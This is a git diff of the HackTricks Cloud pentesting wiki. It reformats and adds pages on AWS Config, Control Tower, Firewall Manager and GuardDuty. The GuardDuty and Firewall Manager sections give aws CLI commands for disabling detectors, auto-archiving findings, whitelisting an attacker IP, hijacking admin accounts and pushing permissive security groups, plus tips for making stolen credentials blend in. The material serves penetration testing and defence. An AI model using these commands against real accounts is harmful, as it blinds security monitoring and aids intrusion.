 Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\
 AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted.
 
-* **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist.
-* **Custom rules**: You can create your own rules to check specific customconfigurations.
+- **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist.
+- **Custom rules**: You can create your own rules to check specific customconfigurations.
 
 Limit of 50 config rules per region before you need to contact AWS for an increase.\
 Non compliant results are NOT deleted.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
new file mode 100644
index 000000000..bbb19dd0a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
@@ -0,0 +1,42 @@
+# AWS - Control Tower Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Control Tower
+
+> [!NOTE]
+> In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from Control Tower that will be applied on them.
+
+AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS.
+
+AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog.
+
+With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies.
+
+In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs.
+
+Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives.
+
+### Enumeration
+
+For enumerating controltower controls, you first need to **have enumerated the org**:
+
+{{#ref}}
+../aws-organizations-enum.md
+{{#endref}}
+
+```bash
+# Get controls applied in an account
+aws controltower list-enabled-controls --target-identifier arn:aws:organizations::<acc_id>:ou/<ou-id>
+```
+
+> [!WARNING]
+> Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts
+
+### Post Exploitation & Persistence
+
+{{#ref}}
+../../aws-post-exploitation/aws-control-tower-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
new file mode 100644
index 000000000..579789482
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
@@ -0,0 +1,15 @@
+# AWS - Cost Explorer Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cost Explorer and Anomaly detection
+
+This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\
+Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**.
+
+### Budgets
+
+Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\
+Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
new file mode 100644
index 000000000..44633cf30
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
@@ -0,0 +1,16 @@
+# AWS - Detective Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Detective
+
+**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations.
+
+The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause.
+
+## References
+
+- [https://aws.amazon.com/detective/](https://aws.amazon.com/detective/)
+- [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
similarity index 81%
rename from pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
index 8c2d01c88..842501e7f 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
@@ -1,19 +1,6 @@
 # AWS - Firewall Manager Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Firewall Manager
 
@@ -25,8 +12,8 @@ A **rule group** (a collection of WAF rules) can be incorporated into an AWS Fir
 
 AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists:
 
-* **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version.
-* **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required.
+- **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version.
+- **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required.
 
 It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option.
 
@@ -63,31 +50,31 @@ AWS Firewall Manager offers flexibility in managing firewall resources within yo
 
 **Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include:
 
-* Accounts or organizational units (OUs) that the administrator can apply policies to.
-* Regions where the administrator can perform actions.
-* Firewall Manager policy types that the administrator can manage.
+- Accounts or organizational units (OUs) that the administrator can apply policies to.
+- Regions where the administrator can perform actions.
+- Firewall Manager policy types that the administrator can manage.
 
 Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege.
 
 There are two distinct types of administrator accounts, each serving specific roles and responsibilities:
 
-* **Default Administrator:**
-  * The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager.
-  * This account has the capability to manage third-party firewalls and possesses full administrative scope.
-  * It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization.
-  * While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization.
-* **Firewall Manager Administrators:**
-  * These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration.
-  * Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards.
-  * Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager.
+- **Default Administrator:**
+  - The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager.
+  - This account has the capability to manage third-party firewalls and possesses full administrative scope.
+  - It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization.
+  - While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization.
+- **Firewall Manager Administrators:**
+  - These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration.
+  - Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards.
+  - Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager.
 
 Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources.
 
 It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed:
 
-* First, each Firewall Administrator administrator account must revoke their own account.
-* Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account.
-* To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator.
+- First, each Firewall Administrator administrator account must revoke their own account.
+- Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account.
+- To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator.
 
 ## Enumeration
 
@@ -120,7 +107,7 @@ aws fms get-resource-set --identifier <value>  # ReadOnlyAccess policy is not en
 ## Retrieve the list of tags for a given resource
 aws fms list-tags-for-resource --resource-arn <value>
 
-## List of the resources in the AWS Organization's accounts that are available to be associated with a FM resource set. Only one account is supported per request. 
+## List of the resources in the AWS Organization's accounts that are available to be associated with a FM resource set. Only one account is supported per request.
 aws fms list-compliance-status --member-account-ids <value> --resource-type <value> # ReadOnlyAccess policy is not enough for this
 
 ## List the resources that are currently associated to a resource set
@@ -182,9 +169,9 @@ aws fms get-violation-details --policy-id <value> --member-account <value> --res
 
 An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association.
 
-* The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account.
-* In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**.
-* The creation of a Firewall Manager administrator account can only be done by the organization's management account.
+- The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account.
+- In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**.
+- The creation of a Firewall Manager administrator account can only be done by the organization's management account.
 
 ```bash
 aws fms associate-admin-account --admin-account <value>
@@ -207,19 +194,25 @@ An example of permisive policy through permisive security group, in order to byp
 
 ```json
 {
-    "Policy": {
-        "PolicyName": "permisive_policy",
-        "SecurityServicePolicyData": {
-            "Type": "SECURITY_GROUPS_COMMON",
-            "ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"<permisive_security_group_id>\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}"
-        },
-        "ResourceTypeList": ["AWS::EC2::Instance", "AWS::EC2::NetworkInterface", "AWS::EC2::SecurityGroup", "AWS::ElasticLoadBalancingV2::LoadBalancer", "AWS::ElasticLoadBalancing::LoadBalancer"],
-        "ResourceType": "AWS::EC2::SecurityGroup",
-        "ExcludeResourceTags": false,
-        "ResourceTags": [],
-        "RemediationEnabled": true
+  "Policy": {
+    "PolicyName": "permisive_policy",
+    "SecurityServicePolicyData": {
+      "Type": "SECURITY_GROUPS_COMMON",
+      "ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"<permisive_security_group_id>\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}"
     },
-    "TagList": []
+    "ResourceTypeList": [
+      "AWS::EC2::Instance",
+      "AWS::EC2::NetworkInterface",
+      "AWS::EC2::SecurityGroup",
+      "AWS::ElasticLoadBalancingV2::LoadBalancer",
+      "AWS::ElasticLoadBalancing::LoadBalancer"
+    ],
+    "ResourceType": "AWS::EC2::SecurityGroup",
+    "ExcludeResourceTags": false,
+    "ResourceTags": [],
+    "RemediationEnabled": true
+  },
+  "TagList": []
 }
 ```
 
@@ -271,9 +264,9 @@ To use **`fms:PutNotificationChannel`** outside of the console, you need to set
 
 For information about configuring an SNS access policy:
 
-{% content-ref url="../aws-services/aws-sns-enum.md" %}
-[aws-sns-enum.md](../aws-services/aws-sns-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-sns-enum.md
+{{#endref}}
 
 ```bash
 aws fms put-notification-channel --sns-topic-arn <value> --sns-role-name <value>
@@ -286,9 +279,8 @@ aws fms delete-notification-channel
 
 An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager.
 
-{% hint style="warning" %}
-Only the default administrator can create and manage third-party firewalls.
-{% endhint %}
+> [!WARNING]
+> Only the default administrator can create and manage third-party firewalls.
 
 ```bash
 aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL]
@@ -310,21 +302,8 @@ aws fms untag-resource --resource-arn <value> --tag-keys <value>
 
 ## References
 
-* [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html)
-* [https://docs.aws.amazon.com/service-authorization/latest/reference/list\_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html)
-* [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html)
+- [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html)
+- [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html)
+- [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
similarity index 60%
rename from pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
index 3f2e03746..6b102d98c 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -1,19 +1,6 @@
 # AWS - GuardDuty Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## GuardDuty
 
@@ -23,17 +10,16 @@ Amazon GuardDuty **identifies unusual activity within your accounts**, analyses
 
 Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events.
 
-{% hint style="warning" %}
-When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\
-If you just stop it, the existing findings will remain.
-{% endhint %}
+> [!WARNING]
+> When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\
+> If you just stop it, the existing findings will remain.
 
 ### Findings Example
 
-* **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP.
-* **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS.
-* **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses.
-* **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets.
+- **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP.
+- **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS.
+- **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses.
+- **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets.
 
 <details>
 
@@ -41,26 +27,26 @@ If you just stop it, the existing findings will remain.
 
 Finding summary:
 
-* Finding type
-* Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low
-* Region
-* Account ID
-* Resource ID
-* Time of detection
-* Which threat list was used
+- Finding type
+- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low
+- Region
+- Account ID
+- Resource ID
+- Time of detection
+- Which threat list was used
 
 The body has this information:
 
-* Resource affected
-* Action
-* Actor: Ip address, port and domain
-* Additional Information
+- Resource affected
+- Action
+- Actor: Ip address, port and domain
+- Additional Information
 
 </details>
 
 ### All Findings
 
-Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)
+Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)
 
 ### Multi Accounts
 
@@ -76,7 +62,6 @@ An account that gets designated as a delegated administrator becomes a GuardDuty
 
 ## Enumeration
 
-{% code overflow="wrap" %}
 ```bash
 # Get Org config
 aws guardduty list-organization-admin-accounts #Get Delegated Administrator
@@ -96,7 +81,7 @@ aws guardduty list-filters --detector-id <id> # Check filters
 aws guardduty get-filter --detector-id <id> --filter-name <name>
 
 # Findings
-aws guardduty list-findings --detector-id <id> # List findings 
+aws guardduty list-findings --detector-id <id> # List findings
 aws guardduty get-findings --detector-id <id> --finding-ids <id> # Get details about the finding
 aws guardduty get-findings-statistics --detector-id <id> --finding-statistic-types <types>
 
@@ -116,7 +101,6 @@ aws guardduty list-publishing-destinations --detector-id <id>
 aws guardduty list-threat-intel-sets --detector-id <id>
 aws guardduty get-threat-intel-set --detector-id <id> --threat-intel-set-id <id>
 ```
-{% endcode %}
 
 ## GuardDuty Bypass
 
@@ -124,17 +108,17 @@ aws guardduty get-threat-intel-set --detector-id <id> --threat-intel-set-id <id>
 
 Try to find out as much as possible about the behaviour of the credentials you are going to use:
 
-* Times it's used
-* Locations
-* User Agents / Services (It could be used from awscli, webconsole, lambda...)
-* Permissions regularly used
+- Times it's used
+- Locations
+- User Agents / Services (It could be used from awscli, webconsole, lambda...)
+- Permissions regularly used
 
 With this information, recreate as much as possible the same scenario to use the access:
 
-* If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible)
-* If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges
-* Always try to use the **same permissions** this principal has used
-* If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one)
+- If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible)
+- If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges
+- Always try to use the **same permissions** this principal has used
+- If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one)
 
 ### Breaking GuardDuty
 
@@ -142,50 +126,41 @@ With this information, recreate as much as possible the same scenario to use the
 
 With this permission you could disable GuardDuty to avoid triggering alerts.
 
-{% code overflow="wrap" %}
 ```bash
-aws guardduty update-detector --detector-id <detector-id> --no-enable 
+aws guardduty update-detector --detector-id <detector-id> --no-enable
 aws guardduty update-detector --detector-id <detector-id> --data-sources S3Logs={Enable=false}
 ```
-{% endcode %}
 
 #### `guardduty:CreateFilter`
 
 Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings:
 
-{% code overflow="wrap" %}
 ```bash
 aws guardduty create-filter  --detector-id <detector-id> --name <filter-name> --finding-criteria file:///tmp/criteria.json --action ARCHIVE
 ```
-{% endcode %}
 
 #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`)
 
 Attackers with the previous privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) by adding their IP address to it and avoid generating alerts.
 
-{% code overflow="wrap" %}
 ```bash
 aws guardduty update-ip-set --detector-id <detector-id> --activate --ip-set-id <ip-set-id> --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv
 ```
-{% endcode %}
 
 #### `guardduty:DeletePublishingDestination`
 
 Attackers could remove the destination to prevent alerting:
 
-{% code overflow="wrap" %}
 ```bash
 aws guardduty delete-publishing-destination --detector-id <detector-id> --destination-id <dest-id>
 ```
-{% endcode %}
 
-{% hint style="danger" %}
-Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings.
-{% endhint %}
+> [!CAUTION]
+> Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings.
 
 ### Specific Findings Bypass Examples
 
